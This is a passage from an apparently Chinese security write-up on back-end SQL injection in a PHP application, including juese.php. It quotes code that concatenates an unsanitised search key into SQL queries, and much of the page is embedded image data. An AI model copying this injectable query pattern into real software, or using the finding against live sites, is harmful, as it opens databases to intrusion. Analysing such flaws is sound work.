<span class=x>$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;</span>
|
||||
<span class=x> $list =$db->fetchall($sql);</span>
|
||||
</pre></div>
|
||||
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094920-1947b8ea-cec9-1.jpg title><img src="data:image/jpeg;base64,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 truncated
|
||||
<a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094935-2275a508-cec9-1.png><img src="data:image/png;base64,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 truncated
|
||||
相似的这个目录下很多类似文件但是其他的都有做鉴权,所以可以说是后台注入,这里就不提了。<br>
|
||||
<a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094952-2ca9e908-cec9-1.png title><img src=data:image/png;base64,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zMxy49LT0zl69GiJRNYtKJCbHurKP992ZVK7HGaMX06Lm9fwYymrE7cdehHfPhZK3fJ6a4+msu3YyV+P704jDnfq1a74MVVreSIiIiIiIucQh4YTZ6UeJjXLBExScwBSOXTIArjgE+iPRw1YudjZ2Rl3d3fS0tJITk6mVq1aJWJsNhsJCQm4u7uX+YidwmR20PAkvvosngPJFJlzauYc5c0H1/BxSi1eeK8dV5asJl/tHOa8sJ68K4MIOp7MR1MOYGndlF5BlTzAqi5PRERERETkHOJQEpsSv5b1Jx50amCwm3XrdmOafjTt0ZGwsh+pek4JDAwkPT2dxMREgBKJ7MGDBzEMg7CwMCynGIebn8wGltxhy+PIoSzi07M5nl1OAU5B3D/YhRmT17HsoIXotlF89UgUEZX9PqCqyxMRERERETmHGKmpqRfskj+FQ4br169/IpFNT08nPj6eiIgIvLy8TsRm5VZ9/Rs/XELH+XVZ+V0L2lVBklnV5YmIiIiIiJxrLujViQuT1MIeWT8/PxISEggICCiSwFYr0yy5wvC5VJ6IiIiIiMg55IJOYqFoIpuSkoJhGNStW/cst0pERERERERKc0EPJ7aXkJCA1WolNDQUPz+/EvurYzixiIiIiIiIOOaC74ktZLVaS8yDFRERERERkXPLBfec2PIogRURERERETm3KYkVERERERGRGkNJrIiIiIiIiNQYSmJFRERERESkxlASKyIiIiIiIjWGklgRERERERGpMZTEioiIiIiISI2hJFZERERERERqDCWxIiIiIiIiUmMoiZVqYWYdZP3aODLNs90SOV1m6g5WbzlMjq6liIiIiJwDlMRWkmnayMk7260495hmBju+m8C1baK55IUVZJztBpUhc+sjhD/bhVf2KzM7peTFjO3UkM5DXmDJvpyz3RoRERERucA5lMSappX0A1tZ/edvLF2ylN/+WsuOI5lYzQsrETDNdGaP/gm/3sv5YFf11hU7cykeXX44+dNrLSuq4XSbf6zBr/PvfHToNMows4n9aARX3DaPwAe+Z/3M4QQaRWP+WtgKn5fGstKErI334fNsV15LPL22O97OdBavm8vROiO4ob5Rfuy2Rwl49lpmppzctnFpD3wmT+K/M3zbV0e9FboeDe5iztovGWadyeB+I5m7R9/eiIiIiMjZ4+xIcN6RLfy3PgnP8CiaRrmQdSSOnWvWYHS+iGjf8pOB84sFd3dnfD2cca/mvuywy1rzS8v8pCFxyQLine truncated
|
||||
同时juese.php也存在类似问题</p>
|
||||
<div class=highlight><pre><span></span><span class=x>$sql="SELECT * FROM ".$db->tablename('juese') ." WHERE id>0";</span>
|
||||
<span class=x>if($key!=''){</span>
|
||||
<span class=x>$sql=$sql." and juese like '%$key%'";</span>
|
||||
<span class=x>}</span>
|
||||
<span class=x>$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;</span>
|
||||
<span class=x> $list =$db->fetchall($sql);</span>
|
||||
</pre></div>
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095022-3e96904e-cec9-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA64AAAFNCAYAAAAASTJ3AADMgElEQVR4nOzdd3QUVRvA4d/spvdKSCMNEiD0Kk0QRASUJkVABeWjKAiCijSVahe70lEBGypNQRQUpCpILyFAEhJCIAFCet2d748kZFNJQsoC73POHsjMnTv3zs7uzju3jJKcnKxSivPnz9OkSZPSkoh7WFJSUk0XQQghhBBCCHGX09R0AYQQQgghhBBCiNJI4CqEEEIIIYQQwqhJ4CqEEEIIIYQQwqhJ4CqEEEIIIYQQwqhJ4CqEEEIIIYQQwqhJ4CqEEEIIIYQQwqiZVPcOr1y9jpuLE7sOHC12fZP6dbG3ta7mUgkhhBBCCCGEMFbVGriePh/B1esJuLk4cTX+RrFpsrKzqrNIQgghhBBCCCGMXLV1FT59PoKQ8xeqa3dCCCGEEEIIIe4S1RK4Vn7QepYP2iso7T/gbCXmWpO2jFVQxm6p6WIIIYQQQgghhNGp8sBVWlqNz/X4G1yOjStxfUxsHPE3EqqxREIIIYQQQghRsiod46rX63F1csDVyeHmMlMT00rIuR6T96pMroSc7kUZmZmEhkUAULuWa4F1l2PjCD0fTqC/b/UXTAghhBBCCCGKUaWBa1pGJnHXbxRZfqmU1j5R9dz